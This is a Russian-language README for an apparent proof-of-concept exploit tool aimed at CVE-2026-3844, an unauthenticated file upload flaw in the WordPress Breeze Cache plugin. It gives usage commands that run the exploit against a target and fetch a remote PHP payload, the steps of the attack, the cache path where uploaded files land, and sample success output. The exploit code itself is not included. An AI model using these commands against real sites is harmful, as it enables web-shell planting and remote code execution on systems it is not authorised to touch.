CVE-2026-3844 — WordPress Breeze Cache Неаутентифицированная загрузка файлов

Обзор

Этот репозиторий содержит Python-скрипт proof-of-concept (PoC) для демонстрации уязвимости неаутентифицированной произвольной загрузки файлов, затрагивающей плагин WordPress Breeze Cache <= 2.4.4.

⚠️ Этот проект предназначен строго для авторизованного тестирования безопасности, образовательных исследований и защитной валидации.

Информация об уязвимости

CVE ID: CVE-2026-3844
Затронутый плагин: Breeze Cache для WordPress
Затронутые версии: <= 2.4.4
Тип проблемы: Неаутентифицированная произвольная загрузка файлов
Воздействие: Потенциальное удалённое выполнение кода (RCE)
Вектор атаки: Удалённый / Неаутентифицированный

Уязвимость использует функциональность кэширования граватаров Breeze Cache для сохранения файлов, контролируемых атакующим, в каталоге кэша WordPress.

Возможности

Режим обнаружения уязвимости
Автоматизированный процесс эксплуатации
Поддержка проверки веб-шелла
Цветной вывод в терминале
Удалённая загрузка полезной нагрузки
Проверки загрузки
Опциональное ведение журнала вывода

Требования

Python 3.8+
pycurl
termcolor

Установка зависимостей:

pip install pycurl termcolor

Файлы

Файл	Описание
`CVE-2026-3844.py`	Основной скрипт эксплойта PoC
`CVE-2026-3844.yaml`	Шаблон/конфигурация YAML

Использование

Проверка, уязвима ли цель

python3 CVE-2026-3844.py -u http://target.com --check-only

Запуск эксплойта

python3 CVE-2026-3844.py -u http://target.com

Пользовательская полезная нагрузка

python3 CVE-2026-3844.py -u http://target.com -p https://example.com/payload.php

Сохранение результатов

python3 CVE-2026-3844.py -u http://target.com -o results.txt

Как это работает

Скрипт выполняет следующие шаги:

Определяет установленную версию Breeze Cache
Проверяет, уязвима ли версия плагина
Отправляет специально сформированный запрос комментария WordPress
Использует обработку граватаров кэша Breeze
Ожидает генерации кэша
Проверяет, стал ли загруженный файл доступным
Тестирует отклик полезной нагрузки

Уязвимый путь

Загруженная полезная нагрузка может стать доступной по адресу:

/wp-content/cache/breeze-extra/gravatars/

Примечания

Успешная эксплуатация может зависеть от включённой следующей настройки Breeze:

Host Files Locally - Gravatars

Если функция отключена, попытки эксплуатации могут завершиться неудачей.

Пример вывода

[+] Target VULNERABLE (Breeze v2.4.4)
[+] Comment posted successfully
[+] File found at: http://target.com/wp-content/cache/breeze-extra/gravatars/random.php
[+] VERIFICATION STRING FOUND - EXPLOIT SUCCESSFUL!

Отказ от ответственности

Этот репозиторий предоставлен для:

Исследований в области безопасности
Образовательных целей
Авторизованного тестирования на проникновение
Оценок защитной безопасности

Не используйте этот проект против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.

Автор не несёт ответственности за неправомерное использование или ущерб, причинённый этим проектом.

Заявление об образовательной цели

Этот proof-of-concept был создан, чтобы помочь:

Исследователям в области безопасности
Специалистам по тестированию на проникновение
Голубым командам
Администраторам WordPress
Разработчикам

понять риски безопасности, связанные с небезопасными механизмами кэширования и произвольной загрузкой файлов.

Ссылки

База данных CVE
Рекомендации по безопасности WordPress
Рекомендации OWASP по безопасности загрузки файлов
Документация плагина Breeze Cache

Автор

Исследование безопасности / Образовательный проект

CVE-2026-3844

Популярное